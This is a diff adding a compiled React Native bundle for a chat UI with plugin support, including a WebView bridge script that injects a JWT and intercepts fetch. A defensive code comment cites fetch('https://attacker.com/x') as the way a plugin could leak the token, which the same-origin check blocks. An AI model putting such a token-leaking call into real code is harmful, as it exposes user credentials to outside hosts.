+    backgroundColor: colors.light.bgTertiary
+  },
+  sendBtnActive: {
+    backgroundColor: colors.light.accent
+  }
+});
+
+// src/Lightbox.tsx
+import { Modal, View as View7, Image as Image2, Pressable as Pressable4, Text as Text5, StyleSheet as StyleSheet7 } from "react-native";
+import { getConfig as getConfig2 } from "@ateam-ai-mobile/core";
+import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
+function Lightbox() {
+  const uri = useLightboxStore((s) => s.uri);
+  const hide = useLightboxStore((s) => s.hide);
+  if (!uri) return null;
+  return /* @__PURE__ */ jsx7(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs6(Pressable4, { style: styles7.backdrop, onPress: hide, children: [
+    /* @__PURE__ */ jsx7(
+      Image2,
+      {
+        source: {
+          uri,
+          ...uri.startsWith("http") ? {
+            headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
+          } : {}
+        },
+        style: styles7.image,
+        resizeMode: "contain"
+      }
+    ),
+    /* @__PURE__ */ jsx7(View7, { style: styles7.closeHint, children: /* @__PURE__ */ jsx7(Text5, { style: styles7.closeHintText, children: "Tap to close" }) })
+  ] }) });
+}
+var styles7 = StyleSheet7.create({
+  backdrop: {
+    flex: 1,
+    backgroundColor: "rgba(0,0,0,0.92)",
+    justifyContent: "center"
+  },
+  image: {
+    width: "100%",
+    height: "85%"
+  },
+  closeHint: {
+    position: "absolute",
+    bottom: 40,
+    alignSelf: "center"
+  },
+  closeHintText: {
+    color: "rgba(255,255,255,0.6)",
+    fontSize: 13
+  }
+});
+
+// src/AdasChatScreen.tsx
+import { jsx as jsx8, jsxs as jsxs7 } from "react/jsx-runtime";
+function isSameDay2(a, b) {
+  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+}
+function AdasChatScreen({
+  onCallStart,
+  placeholder,
+  footerAccessory,
+  withLightbox = true
+}) {
+  const messages = useChatStore((s) => s.messages);
+  const loading = useChatStore((s) => s.loading);
+  const conversationLoaded = useChatStore((s) => s.conversationLoaded);
+  const loadConversation = useChatStore((s) => s.loadConversation);
+  const sendMessage = useChatStore((s) => s.sendMessage);
+  const listRef = useRef3(null);
+  const [refreshing, setRefreshing] = useState4(false);
+  const [prefill, setPrefill] = useState4("");
+  useEffect3(() => {
+    if (!conversationLoaded) loadConversation();
+  }, [conversationLoaded, loadConversation]);
+  useEffect3(() => {
+    const unsub = pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
+      if (text) setPrefill(text);
+    });
+    return unsub;
+  }, []);
+  const useInverted = Platform5.OS !== "web";
+  const listData = useMemo(
+    () => useInverted ? [...messages].reverse() : messages,
+    [messages, useInverted]
+  );
+  const scrollToLatest = useCallback3((animated) => {
+    if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
+    else listRef.current?.scrollToEnd({ animated });
+  }, [useInverted]);
+  const handleSend = useCallback3((text) => {
+    setPrefill("");
+    sendMessage(text);
+    scrollToLatest(true);
+  }, [sendMessage, scrollToLatest]);
+  const handleRefresh = useCallback3(async () => {
+    setRefreshing(true);
+    try {
+      await loadConversation();
+    } catch {
+    }
+    setRefreshing(false);
+  }, [loadConversation]);
+  const renderItem = useCallback3(({ item, index }) => {
+    const older = useInverted ? listData[index + 1] : listData[index - 1];
+    const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
+    return /* @__PURE__ */ jsxs7(View8, { children: [
+      showDaySep && /* @__PURE__ */ jsx8(DaySeparator, { date: item.timestamp }),
+      /* @__PURE__ */ jsx8(MessageBubble, { message: item })
+    ] });
+  }, [listData, useInverted]);
+  const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx8(TypingIndicator, {}) : null;
+  return /* @__PURE__ */ jsxs7(
+    KeyboardAvoidingView,
+    {
+      style: styles8.root,
+      behavior: Platform5.OS === "ios" ? "padding" : void 0,
+      children: [
+        /* @__PURE__ */ jsx8(
+          FlatList,
+          {
+            ref: listRef,
+            style: styles8.list,
+            data: listData,
+            inverted: useInverted,
+            keyExtractor: (m) => m.id,
+            renderItem,
+            ListHeaderComponent: useInverted ? typingIndicator : null,
+            ListFooterComponent: useInverted ? null : typingIndicator,
+            onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
+            refreshControl: /* @__PURE__ */ jsx8(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada5.orange }),
+            keyboardShouldPersistTaps: "handled",
+            contentContainerStyle: styles8.listContent
+          }
+        ),
+        footerAccessory,
+        /* @__PURE__ */ jsx8(
+          ChatInput,
+          {
+            onSend: handleSend,
+            onCallStart,
+            loading,
+            prefill,
+            placeholder
+          }
+        ),
+        withLightbox && /* @__PURE__ */ jsx8(Lightbox, {})
+      ]
+    }
+  );
+}
+var styles8 = StyleSheet8.create({
+  root: {
+    flex: 1,
+    backgroundColor: ada5.paper
+  },
+  list: {
+    flex: 1
+  },
+  listContent: {
+    paddingVertical: 12
+  }
+});
+
+// src/plugin/Plugin.tsx
+import React, { useMemo as useMemo3 } from "react";
+import { View as View10, Text as Text7, Pressable as Pressable5, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet10 } from "react-native";
+import { getTenant as getTenant3, getUser, colors as colors2 } from "@ateam-ai-mobile/core";
+import {
+  usePlugin,
+  useNativeBridge,
+  usePluginTheme,
+  getPluginNative
+} from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/EmbeddedPluginWebView.tsx
+import { useState as useState5, useMemo as useMemo2, useCallback as useCallback5 } from "react";
+import { View as View9, Text as Text6, ActivityIndicator, StyleSheet as StyleSheet9, Platform as Platform6 } from "react-native";
+import { WebView } from "react-native-webview";
+import { getConfig as getConfig3, getCoreApiUrl, getTenant as getTenant2, getToken, ada as ada6 } from "@ateam-ai-mobile/core";
+import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/usePluginBridge.ts
+import { useCallback as useCallback4, useEffect as useEffect4, useRef as useRef4 } from "react";
+import {
+  getTenant,
+  connectorCall,
+  mcpFetch,
+  mcpToolCall,
+  postCommandResult,
+  pluginCommandEmitter as pluginCommandEmitter2
+} from "@ateam-ai-mobile/core";
+function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
+  const webViewRef = useRef4(null);
+  const sendInit = useCallback4(() => {
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "init",
+        payload: {
+          tenant: getTenant(),
+          connectorId: connectorId || null,
+          mcpEndpoint: null,
+          slug: null,
+          skillSlug: null
+        }
+      }
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId, connectorId]);
+  const sendToPlugin = useCallback4(
+    (type, payload) => {
+      const msg = JSON.stringify({
+        source: "adas-host",
+        message: { type, payload }
+      });
+      webViewRef.current?.postMessage(msg);
+    },
+    []
+  );
+  const dispatchToWebView = useCallback4((cmd) => {
+    if (cmd.command === "__focus") return;
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "plugin.command",
+        payload: {
+          command: cmd.command,
+          args: cmd.args,
+          correlationId: cmd.correlationId
+        }
+      }
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId]);
+  useEffect4(() => {
+    const unsub = pluginCommandEmitter2.on("plugin-command", (cmd) => {
+      if (cmd.pluginId !== pluginId) return;
+      dispatchToWebView(cmd);
+    });
+    return unsub;
+  }, [pluginId, dispatchToWebView]);
+  useEffect4(() => {
+    if (!commandBufferRef) return;
+    const timer = setTimeout(() => {
+      const buf = commandBufferRef.current;
+      const remaining = [];
+      for (const cmd of buf) {
+        if (cmd.pluginId === pluginId) {
+          dispatchToWebView(cmd);
+        } else {
+          remaining.push(cmd);
+        }
+      }
+      commandBufferRef.current = remaining;
+    }, 1e3);
+    return () => clearTimeout(timer);
+  }, [pluginId, commandBufferRef, dispatchToWebView]);
+  const handleMessage = useCallback4(
+    async (event) => {
+      let data;
+      try {
+        data = JSON.parse(event.nativeEvent.data);
+      } catch {
+        return;
+      }
+      if (data.source !== "adas-plugin") return;
+      const action = data.message?.action || data.action;
+      const payload = data.message?.payload || data.payload;
+      const type = data.message?.type || data.type;
+      if (action === "mcp-fetch" && payload?.requestId) {
+        const { requestId, body } = payload;
+        try {
+          const result = await mcpFetch(body);
+          sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
+        } catch (err) {
+          console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
+          sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
+        }
+        return;
+      }
+      if (action === "mcp-call" && payload?.requestId) {
+        const { requestId, toolName, args: callArgs } = payload;
+        if (toolName) {
+          try {
+            const rpcResponse = await mcpToolCall(toolName, callArgs || {});
+            const result = rpcResponse?.result ?? rpcResponse;
+            sendToPlugin("mcp-result", { requestId, result, error: null });
+          } catch (err) {
+            sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+          }
+          return;
+        }
+        const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
+        const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
+        const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
+        if (!cId || !tool) {
+          console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
+          sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
+          return;
+        }
+        try {
+          const data2 = await connectorCall(cId, tool, toolArgs);
+          if (data2.ok) {
+            sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
+          } else {
+            sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
+          }
+        } catch (err) {
+          sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+        }
+        return;
+      }
+      if (action === "close") {
+        pluginCommandEmitter2.emit("plugin-close", { pluginId });
+        return;
+      }
+      if (type === "plugin.command.result" && payload?.correlationId) {
+        const ws = wsRef?.current;
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          try {
+            ws.send(JSON.stringify({
+              type: "plugin-command-result",
+              correlationId: payload.correlationId,
+              result: payload.result,
+              error: payload.error
+            }));
+          } catch (err) {
+            console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
+            await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
+            });
+          }
+        } else {
+          try {
+            await postCommandResult(payload.correlationId, payload.result, payload.error);
+          } catch (err) {
+            console.warn("[PluginBridge] Failed to send command result:", err.message);
+          }
+        }
+        return;
+      }
+    },
+    [sendToPlugin]
+  );
+  return {
+    webViewRef,
+    sendInit,
+    handleMessage
+  };
+}
+function buildPluginBridgeJS(jwt, tenant) {
+  return `
+(function() {
+  function _dbg(msg) {
+    console.log('[PluginBridge] ' + msg);
+  }
+
+  // 1. Seed localStorage. JWT is required by web-shared plugin code
+  //    (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
+  //    lives in EmbeddedPluginWebView (originWhitelist +
+  //    onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
+  try {
+    localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
+    localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
+    _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
+  } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
+
+  // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
+  var _origFetch = window.fetch.bind(window);
+  var _mcpReqId = 0;
+  var _pendingMcp = {};
+
+  window.fetch = function(url, opts) {
+    var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
+    var method = (opts && opts.method) || 'GET';
+
+    _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
+
+    // Intercept /mcp calls
+    if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
+      _dbg('  -> INTERCEPTED /mcp, proxying via RN bridge');
+      return new Promise(function(resolve, reject) {
+        var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
+        _pendingMcp[requestId] = { resolve: resolve, reject: reject };
+        window.ReactNativeWebView.postMessage(JSON.stringify({
+          source: 'adas-plugin',
+          action: 'mcp-fetch',
+          payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
+        }));
+        setTimeout(function() {
+          if (_pendingMcp[requestId]) {
+            delete _pendingMcp[requestId];
+            _dbg('TIMEOUT mcp-fetch ' + requestId);
+            reject(new Error('MCP fetch timeout (30s)'));
+          }
+        }, 30000);
+      });
+    }
+
+    // Inject Authorization header ONLY for same-origin requests. A relative
+    // path resolves against window.location.origin; an absolute URL must
+    // literally match. This stops a plugin from leaking the JWT to a foreign
+    // host via fetch('https://attacker.com/x') or via <base href>.
+    var sameOrigin = false;
+    try {
+      var resolved = new URL(urlStr, window.location.origin);
+      sameOrigin = (resolved.origin === window.location.origin);
+    } catch (_) { sameOrigin = false; }
+    if (sameOrigin) {
+      opts = Object.assign({}, opts || {});
+      var h = opts.headers;
+      if (h instanceof Headers) {
+        if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
+      } else {
+        h = Object.assign({}, h || {});
+        if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
+        opts.headers = h;
+      }
+    }
+
+    return _origFetch(url, opts).then(function(res) {
+      _dbg('  <- ' + res.status + ' ' + urlStr.substring(0, 60));
+      return res;
+    }).catch(function(err) {
+      _dbg('  <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
+      throw err;
+    });
+  };
+
+  // Handle results from RN host
+  function _handleHostMessage(d) {
+    if (!d || d.source !== 'adas-host') return;
+    var msg = d.message || {};
+
+    // mcp-fetch-result: response to intercepted fetch("/mcp")
+    if (msg.type === 'mcp-fetch-result' && msg.payload) {
+      var p = msg.payload;
+      var pending = _pendingMcp[p.requestId];
+      if (pending) {
+        delete _pendingMcp[p.requestId];
+        if (p.error) {
+          pending.reject(new Error(p.error));
+        } else {
+          pending.resolve(new Response(JSON.stringify(p.result), {
+            status: 200,
+            headers: { 'Content-Type': 'application/json' }
+          }));
+        }
+      }
+    }
+  }
+
+  // 3. Override window.parent.postMessage (plugins use this in iframes)
+  window.parent = window.parent || {};
+  window.parent.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+  };
+
+  // 4. Also intercept direct window.postMessage
+  var origPost = window.postMessage.bind(window);
+  window.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+    origPost(data, origin);
+  };
+
+  // 5. Forward messages from RN host -> plugin
+  //    iOS: window 'message' event, Android: document 'message' event
+  window.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      if (d && d.source === 'adas-host') {
+        _handleHostMessage(d);
+        if (typeof e.data === 'string') {
+          window.dispatchEvent(new MessageEvent('message', { data: d }));
+        }
+      }
+    } catch(_) {}
+  });
+
+  document.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      _handleHostMessage(d);
+      window.dispatchEvent(new MessageEvent('message', { data: d }));
+    } catch(_) {}
+  });
+
+  _dbg('Bridge JS loaded. Waiting for plugin...');
+  true;
+})();
+`;
+}
+
+// src/plugin/EmbeddedPluginWebView.tsx
+import { jsx as jsx9, jsxs as jsxs8 } from "react/jsx-runtime";
+function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
+  const [error, setError] = useState5(null);
+  const token = getToken();
+  const tenant = getTenant2();
+  const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
+  const url = resolvePluginUrl(manifest, tenant || void 0);
+  const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
+  const allowedHosts = useMemo2(() => {
+    const hosts = /* @__PURE__ */ new Set();
+    const urls = [getCoreApiUrl()];
+    const voice = getConfig3().voiceUrl;
+    if (voice) urls.push(voice);
+    for (const u of urls) {
+      try {
+        hosts.add(new URL(u).hostname);
+      } catch {
+      }
+    }
+    return hosts;
+  }, []);
+  const isAllowedPluginUrl = useCallback5((rawUrl) => {
+    if (!rawUrl) return false;
+    let parsed;
+    try {
+      parsed = new URL(rawUrl);
+    } catch {
+      return false;
+    }
+    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
+    if (parsed.protocol === "http:") return false;
+    return allowedHosts.has(parsed.hostname);
+  }, [allowedHosts]);
+  const originWhitelist = useMemo2(
+    () => Array.from(allowedHosts).map((h) => `https://${h}`),
+    [allowedHosts]
+  );
+  if (error) {
+    return /* @__PURE__ */ jsx9(View9, { style: styles9.center, children: /* @__PURE__ */ jsx9(Text6, { style: styles9.errorText, children: error }) });
+  }
+  return /* @__PURE__ */ jsx9(View9, { style: styles9.container, children: /* @__PURE__ */ jsx9(
+    WebView,
+    {
+      ref: webViewRef,
+      source: { uri: url },
+      style: styles9.webview,
+      javaScriptEnabled: true,
+      domStorageEnabled: true,
+      allowsInlineMediaPlayback: true,
+      mediaPlaybackRequiresUserAction: false,
+      mixedContentMode: "never",
+      originWhitelist,
+      allowsBackForwardNavigationGestures: false,
+      setSupportMultipleWindows: false,
+      javaScriptCanOpenWindowsAutomatically: false,
+      onShouldStartLoadWithRequest: (req) => {
+        if (!isAllowedPluginUrl(req.url)) {
+          console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
+          return false;
+        }
+        return true;
+      },
+      injectedJavaScriptBeforeContentLoaded: bridgeJS,
+      onMessage: handleMessage,
+      onLoad: () => {
+        setTimeout(sendInit, 100);
+        setTimeout(sendInit, 500);
+        setTimeout(sendInit, 1200);
+      },
+      onError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
+        setError(`WebView error: ${nativeEvent.description}`);
+      },
+      onHttpError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
+        if (nativeEvent.statusCode >= 400) {
+          setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
+        }
+      },
+      startInLoadingState: true,
+      renderLoading: () => /* @__PURE__ */ jsxs8(View9, { style: styles9.webviewLoading, children: [
+        /* @__PURE__ */ jsx9(ActivityIndicator, { size: "small", color: ada6.orange }),
+        /* @__PURE__ */ jsx9(Text6, { style: styles9.loadingText, children: "Loading plugin..." })
+      ] }),
+      ...Platform6.OS === "ios" ? { bounces: false } : {}
+    }
+  ) });
+}
+var styles9 = StyleSheet9.create({
+  container: {
+    flex: 1,
+    backgroundColor: ada6.paper
+  },
+  center: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: ada6.paper,
+    paddingHorizontal: 32
+  },
+  errorText: {
+    color: "#C15545",
+    fontSize: 16,
+    textAlign: "center"
+  },
+  webview: {
+    flex: 1,
+    backgroundColor: ada6.paper
+  },
+  webviewLoading: {
+    position: "absolute",
+    top: 0,
+    left: 0,
+    right: 0,
+    bottom: 0,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: ada6.paper,
+    gap: 12
+  },
+  loadingText: {
+    color: ada6.inkSoft,
+    fontSize: 14
+  }
+});
+
+// src/plugin/Plugin.tsx
+import { jsx as jsx10, jsxs as jsxs9 } from "react/jsx-runtime";
+var PluginErrorBoundary = class extends React.Component {
+  constructor() {
+    super(...arguments);
+    this.state = { hasError: false, error: null };
+  }
+  static getDerivedStateFromError(error) {
+    return { hasError: true, error };
+  }
+  componentDidCatch(error, info) {
+    console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
+  }
+  render() {
+    if (this.state.hasError) {
+      return /* @__PURE__ */ jsxs9(View10, { style: styles10.error, children: [
+        /* @__PURE__ */ jsx10(Text7, { style: styles10.errorTitle, children: "Plugin Error" }),
+        /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
+        /* @__PURE__ */ jsx10(
+          Pressable5,
+          {
+            style: styles10.retryBtn,
+            onPress: () => this.setState({ hasError: false, error: null }),
+            children: /* @__PURE__ */ jsx10(Text7, { style: styles10.retryText, children: "Retry" })
+          }
+        )
+      ] });
+    }
+    return this.props.children;
+  }
+};
+function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
+  const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
+  const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
+  const bridge = useNativeBridge(id, connectorId, commandBufferRef);
+  const native = getPluginNative();
+  const theme = usePluginTheme();
+  const user = getUser();
+  const context = useMemo3(() => ({
+    tenant: getTenant3(),
+    pluginId: id,
+    connectorId,
+    user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
+  }), [id, connectorId, user?.actorId, user?.name]);
+  const iframeUrl = manifest?.render?.iframeUrl;
+  if (bundleMissing && iframeUrl) {
+    return /* @__PURE__ */ jsx10(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
+  }
+  if (loading) {
+    return /* @__PURE__ */ jsxs9(View10, { style: styles10.center, children: [
+      /* @__PURE__ */ jsx10(ActivityIndicator2, { size: "small", color: colors2.dark.accent }),
+      /* @__PURE__ */ jsx10(Text7, { style: styles10.loadingText, children: "Loading plugin..." })
+    ] });
+  }
+  if (error || !plugin) {
+    return /* @__PURE__ */ jsx10(View10, { style: styles10.center, children: /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
+  }
+  const { Component } = plugin;
+  return /* @__PURE__ */ jsx10(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx10(Component, { bridge, native, theme, context, props: engineProps }) });
+}
+var styles10 = StyleSheet10.create({
+  center: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: colors2.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 12
+  },
+  loadingText: {
+    color: colors2.dark.textSecondary,
+    fontSize: 14
+  },
+  error: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: colors2.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 8
+  },
+  errorTitle: {
+    color: colors2.dark.red,
+    fontSize: 16,
+    fontWeight: "600"
+  },
+  errorMessage: {
+    color: colors2.dark.textSecondary,
+    fontSize: 14,
+    textAlign: "center"
+  },
+  retryBtn: {
+    marginTop: 12,
+    paddingHorizontal: 20,
+    paddingVertical: 10,
+    backgroundColor: colors2.dark.accentSoft,
+    borderRadius: 8
+  },
+  retryText: {
+    color: colors2.dark.accent,
+    fontSize: 14,
+    fontWeight: "600"
+  }
+});
+
+// src/plugin/PluginSurface.tsx
+import { useEffect as useEffect5, useState as useState6 } from "react";
+import { View as View11, ActivityIndicator as ActivityIndicator3 } from "react-native";
+import { ada as ada7 } from "@ateam-ai-mobile/core";
+import {
+  getPlugin,
+  SurfaceDrawer,
+  SurfaceFullscreen
+} from "@ateam-ai-mobile/plugin-runtime";
+import { jsx as jsx11 } from "react/jsx-runtime";
+function PluginSurface({ pluginId, surface, dismiss, props }) {
+  const [manifest, setManifest] = useState6(null);
+  const [error, setError] = useState6(null);
+  useEffect5(() => {
+    let cancelled = false;
+    getPlugin(pluginId).then((m) => {
+      if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
+    }).catch((e) => {
+      if (!cancelled) setError(e?.message || "Failed to load");
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, [pluginId]);
+  const body = manifest ? /* @__PURE__ */ jsx11(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx11(View11, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx11(ActivityIndicator3, { color: ada7.orange }) });
+  if (surface.type === "fullscreen") {
+    return /* @__PURE__ */ jsx11(
+      SurfaceFullscreen,
+      {
+        visible: true,
+        onClose: dismiss,
+        status: surface.title,
+        showWordmark: true,
+        closeIcon: "x",
+        closeLabel: "Close",
+        children: body
+      }
+    );
+  }
+  return /* @__PURE__ */ jsx11(
+    SurfaceDrawer,
+    {
+      visible: true,
+      onClose: dismiss,
+      title: surface.title || pluginId,
+      subtitle: surface.subtitle,
+      privacy: !!surface.privacy,
+      children: body
+    }
+  );
+}
+
+// src/widgets/WidgetWebView.tsx
+import { useMemo as useMemo4, useState as useState7 } from "react";
+import {
+  Modal as Modal2,
+  View as View12,
+  Text as Text8,
+  Pressable as Pressable6,
+  StyleSheet as StyleSheet11,
+  ActivityIndicator as ActivityIndicator4,
+  Platform as Platform7
+} from "react-native";
+import { WebView as WebView2 } from "react-native-webview";
+import { ada as ada8 } from "@ateam-ai-mobile/core";
+import { getCoreApiUrl as getCoreApiUrl2 } from "@ateam-ai-mobile/core";
+import { Fragment as Fragment2, jsx as jsx12, jsxs as jsxs10 } from "react/jsx-runtime";
+var fontFam4 = Platform7.OS === "ios" ? "SF Pro Rounded" : void 0;
+function WidgetWebView({ visible, title, bundleUrl, onClose }) {
+  const [loading, setLoading] = useState7(true);
+  const [error, setError] = useState7(null);
+  const uri = useMemo4(() => {
+    if (!bundleUrl) return null;
+    if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
+    return `${getCoreApiUrl2()}${bundleUrl}`;
+  }, [bundleUrl]);
+  return /* @__PURE__ */ jsx12(
+    Modal2,
+    {
+      visible,
+      animationType: "slide",
+      presentationStyle: "pageSheet",
+      onRequestClose: onClose,
+      children: /* @__PURE__ */ jsxs10(View12, { style: styles11.root, children: [
+        /* @__PURE__ */ jsxs10(View12, { style: styles11.bar, children: [
+          /* @__PURE__ */ jsx12(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
+          /* @__PURE__ */ jsx12(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
+          /* @__PURE__ */ jsx12(View12, { style: styles11.closeBtn })
+        ] }),
+        !uri ? /* @__PURE__ */ jsx12(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
+          /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
+          /* @__PURE__ */ jsx12(Text8, { style: styles11.errorSub, children: error })
+        ] }) : /* @__PURE__ */ jsxs10(Fragment2, { children: [
+          /* @__PURE__ */ jsx12(
+            WebView2,
+            {
+              source: { uri },
+              style: styles11.web,
+              onLoadStart: () => {
+                setLoading(true);
+                setError(null);
+              },
+              onLoadEnd: () => setLoading(false),
+              onError: (e) => {
+                setLoading(false);
+                setError(e.nativeEvent.description || "Unknown error");
+              },
+              onHttpError: (e) => {
+                setLoading(false);
+                setError(`HTTP ${e.nativeEvent.statusCode}`);
+              },
+              originWhitelist: ["https://*"],
+              setSupportMultipleWindows: false
+            }
+          ),
+          loading && /* @__PURE__ */ jsx12(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx12(ActivityIndicator4, { color: ada8.orange }) })
+        ] })
+      ] })
+    }
+  );
+}
+var styles11 = StyleSheet11.create({
+  root: {
+    flex: 1,
+    backgroundColor: ada8.paper
+  },
+  bar: {
+    flexDirection: "row",
+    alignItems: "center",
+    paddingHorizontal: 14,
+    paddingVertical: 12,
+    borderBottomWidth: 1,
+    borderBottomColor: ada8.border,
+    backgroundColor: ada8.paperSoft
+  },
+  closeBtn: {
+    width: 32,
+    height: 32,
+    alignItems: "center",
+    justifyContent: "center"
+  },
+  closeIcon: {
+    fontSize: 18,
+    color: ada8.ink,
+    fontWeight: "500"
+  },
+  title: {
+    flex: 1,
+    textAlign: "center",
+    fontSize: 16,
+    fontWeight: "600",
+    color: ada8.ink,
+    fontFamily: fontFam4,
+    letterSpacing: -0.2
+  },
+  web: {
+    flex: 1,
+    backgroundColor: ada8.paper
+  },
+  spinner: {
+    position: "absolute",
+    top: 80,
+    left: 0,
+    right: 0,
+    alignItems: "center"
+  },
+  errorWrap: {
+    flex: 1,
+    alignItems: "center",
+    justifyContent: "center",
+    paddingHorizontal: 24
+  },
+  errorText: {
+    fontSize: 15,
+    color: ada8.ink,
+    fontWeight: "600",
+    marginBottom: 6
+  },
+  errorSub: {
+    fontSize: 13,
+    color: ada8.inkMuted,
+    textAlign: "center"
+  }
+});
+export {
+  AdasChatScreen,
+  ChatInput,
+  DaySeparator,
+  EmbeddedPluginWebView,
+  JobProgressBar,
+  Lightbox,
+  MessageBubble,
+  Plugin,
+  PluginSurface,
+  TableCardBlock,
+  TypingIndicator,
+  UIActionsRow,
+  WidgetWebView,
+  buildPluginBridgeJS,
+  setClipboardProvider,
+  setUIActionNavigator,
+  useLightboxStore,
+  usePluginBridge
+};
+//# sourceMappingURL=index.mjs.map